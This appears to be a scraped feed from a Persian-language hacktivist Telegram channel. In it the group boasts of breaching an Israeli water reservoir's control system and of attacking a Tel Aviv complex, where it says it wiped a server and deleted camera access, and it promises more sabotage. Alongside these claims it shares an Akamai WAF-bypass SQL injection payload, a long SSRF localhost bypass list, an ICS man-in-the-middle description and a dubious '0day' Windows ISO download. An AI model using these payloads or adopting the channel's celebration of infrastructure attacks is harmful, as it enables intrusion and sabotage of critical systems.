باگ RCE در اپلیکیشن discord

masatokinugawa.l0.cm/2020/10/discord-desktop-rce.html (日本語)
https://mksben.l0.cm/2020/10/discord-desktop-rce.html (English)
https://youtube.com/watch?v=0f3RrvC-zGI (DEMO)


#discord
#rce

@UNIDENTIFIED_TM

نتایج اسکن کل اینترنت برای پورت ۴۴۳ که توسط یک فرد نیکوکار انجام شده

https://mega.nz/file/7NZW2Jha#YsO0mlag-R1G7fJI4FQVLsAkW8-VBYVLV_8oYTRZgCs


#scan
#enum


@UNIDENTIFIED_TM 🌹

مخزن آب یوآو اسرائیل🇮🇱 مورد نفوذ قرار گرفت


133 متر
خلاصه
این مخزن از پساب های Kiryat Gat تغذیه می کند

گسترش

دسترسی ها:
Einan ، Efi Avraham
تاریخ به روز رسانی: 9/8/2020 05:26:59

درمورد این مخزن ابی:

دو مخزن پساب ، با حجم جمع آوری کل 4.5 میلیون متر مکعب ، که امکان بازیافت آب سالانه با حجم 7 میلیون متر مکعب را فراهم می کند - در محدوده شورای منطقه ای Yoav در شفله افتتاح شد. این دو مخزن با سرمایه گذاری کل 33 میلیون NIS توسط JNF تأسیس شده و بودجه آن توسط کمیسیون آب و کمیسیون تهیه خواهد شد.

@UNIDENTIFIED_TM
خرابکاری های بیشتری در راهه

🖤 روزی که جامعه قرآنی یتیم شد..
روزی که بزرگترین سفیر قرآن و بزرگترین سفیر مسلمانان از این دنیا وداع گفت..
خبر وفات او به مثل یک صاعقه بر قلب میلیونها مسلمان در سرتاسر جهان فرود آمد...!
در تشییع جنازه او میلیونها نفر از دوستداران او و سفیران کشورهای جهان به نیابت پادشاهان و رؤسا و مردم حضور پیدا کردند..
جزو ۲۶ تشییع جنازه برتر تاریخ؛ که در سطح بین المللی و رسمی و مردمی برگزار شد !

▪️ فوروارد کنید و اشتراک بگذارید 🙏🏾

32مین
#سالگرد_وفات_استاد_عبدالباسط

@UNIDENTIFIED_TM

Akamai WAF Bypass & SQLi

'XOR(if(now()=sysdate(),sleep(5*5),0))OR'


#pentest
#waf_bypass


@UNIDENTIFIED_TM 🌹

پوشش خبری رسانه های آنلاین ...
https://www.otorio.com/blog/what-we-ve-learned-from-the-december-1st-attack-on-an-israeli-water-reservoir/


https://www.securityweek.com/iranian-hackers-access-unprotected-ics-israeli-water-facility


https://securityaffairs.co/wordpress/111934/ics-scada/israeli-water-facility-breached.html


https://industrialcyber.co/threats-attacks/industrial-cyber-attacks/otorio-confirms-iranian-hackers-gained-access-to-ics-at-an-israeli-water-reservoir


https://www.cybersecurity-help.cz/blog/1803.html


https://twitter.com/securityaffairs/status/1335330900125622275


https://www.redpacketsecurity.com/iranian-hackers-attack-israel-water-facility-gain-access-to-hmi-systems/



https://www.reddit.com/r/cybersecurity/comments/k73mlq/iranian_hackers_access_unsecured_hmi_at_israeli/



https://privacytoggle.com/blog/iranian-hackers-access-unsecured-hmi-at-israeli-water-facility/



https://cert.bournemouth.ac.uk/iranian-hackers-access-unprotected-ics-at-israeli-water-facility/



https://www.kengilmour.com/iranian-hackers-access-unsecured-hmi-at-israeli-water-facility/

*.::in the name of God ::.*

با سلام خدمت دوستان گرامی

موج دیگر از حملات تیم ما به یه مجموعه در اسرائیل شهر Tel Aviv

גל נוסף של הצוות שלנו תוקף מתחם בעיר תל אביב הישראלית

Another wave of our team attacks a complex in the Israeli city of Tel Aviv

اطلاعات جزئی از تارگت رو در این ویدیو بهتون نشون میدم
اطلاعات سرور هم فرمت شد ...

این سیستم کنترلی مجهز دسترسی های زیر میباشد :

شامل دوربین های محوطه البته چند دسترسی دوربین رو پاک کردیم:

شامل باشگاه داخل اون محوطه ؛
شامل سیستم های دیگ که تو یه مجموعه وجود داره ؛
بخاطر افرادی که سو استفاده میکنند از کار های ما دیگر اطلاعت زیادی از تارگت به اشتراک نمیگذاریم
============================================================================
Telegram: T.ME/UNIDENTIFIED_TM

Twitter: https://twitter.com/UNIDENTIFIED_TM

SSRF Bypass list for localhost (127.0.0.1):

http://127.1/
http://0000::1:80/
http://[::]:80/
http://2130706433/
http://whitelisted@127.0.0.1
http://0x7f000001/
http://017700000001
http://0177.00.00.01
http://⑯⑨。②⑤④。⑯⑨｡②⑤④/
http://⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ｡⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ:80/
http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/
http://②⑧⑤②⓪③⑨①⑥⑥:80/
http://④②⑤｡⑤①⓪｡④②⑤｡⑤①⓪:80/
http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/
http://0xd8.0x3a.0xd6.0xe3
http://0xd83ad6e3
http://0xd8.0x3ad6e3
http://0xd8.0x3a.0xd6e3
http://0330.072.0326.0343
http://000330.0000072.0000326.00000343
http://033016553343
http://3627734755
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://216.0x3a.00000000326.0xe3
localtest.me
http://newyork.localtest.me
http://mysite.localtest.me
http://redirecttest.localtest.me
sub1.sub2.sub3.localtest.me
http://bugbounty.dod.network
http://spoofed.burpcollaborator.net


#ssrf
#bugbounty
#pentest


@UNIDENTIFIED_TM

سلام
دوستان صفحه توییتر تیم رو بستن از طرف توییتر دیگر داخل توییتر فعالیت نمیکنیم !
فکر میکنن با این کارای مسخره میتونن جلوی فعالیت تیم رو بگیریند واقعا مسخرس نمیدونم توییتر چرا اینجوری شده البته هیچ فرق به حال ما نمیکنه باعث شد دوباره حالشونو بگیریم

مایکروسافت تکنیک حمله ی سایبری که بخشی از اون از طریق SolarWinds انجام شده رو آنالیز و منتشر کرد :

https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
#securation
@UNIDENTIFIED_TM 🌹

This video shows a "MITM" scenario performed between PLC and an HMI. This attack vector shows how to get full control of a motor (the endpoint device). after poisoning the arp table of the HMI and inserting fake values , they sent desirable values to the PLC directly in order to produce a false representation (similar to the results of the Stuxnet attack).
🌹
این ویدئو سناریوی "MITM" را نشان می دهد که بین PLC و HMI انجام شده است. این بردار حمله نحوه کنترل کامل موتور (دستگاه نقطه انتهایی) را نشان می دهد. پس از مسموم كردن جدول arp از HMI و درج مقادیر جعلی ، آنها مقادیر مطلوبی را مستقیماً به PLC ارسال كردند تا نمایش غلطی ایجاد كنند (شبیه به نتایج حمله Stuxnet
#iot
#ics
#plc
@UNIDENTIFIED_TM

شادیتون 100 شب یلدا دلتون قد یه دریا توی این شبای سرما یادتون همیشه با ما
یلداتون مبارک . .
**
🌹🌹🌹🌹
@UNIDENTIFIED_TM

خبر خوب رو فردا ساعت ۱۰ شب میگم بهتون☺️

بابت تاخیر عذر میخام ولی تیم ما تصمیم بر این گرفته آموزش های پیشرفته هم براتون ریکورد کنه و رایگان در اختیار شما بزرگواران قرار بدن بزودی اتمام این ویدیو ها اشتراک گذاری میکنیم براتون یا حق 🌹😄

Windows 10 Pro 0Day Priv8 OS x64 English August 2020 📛

لینک دانلود🔰
==== Download .iso

حتما ببینید اینو🔰
==== Preview

منبع: PenetrationTest#

👌دوستان این سیستم عامل ویندوز با تغییراتی اساسی برای پنتستر های عزیز ارائه شده که واقعا بی نظیره ویدیو رو هم قبل دانلود میتوانید مشاهده کنید
خلاصه خیلی کارایی بالا با ابزار های درست و مناسب بنده به شخصه استفاده میکنم خواستید نشر دهید🌹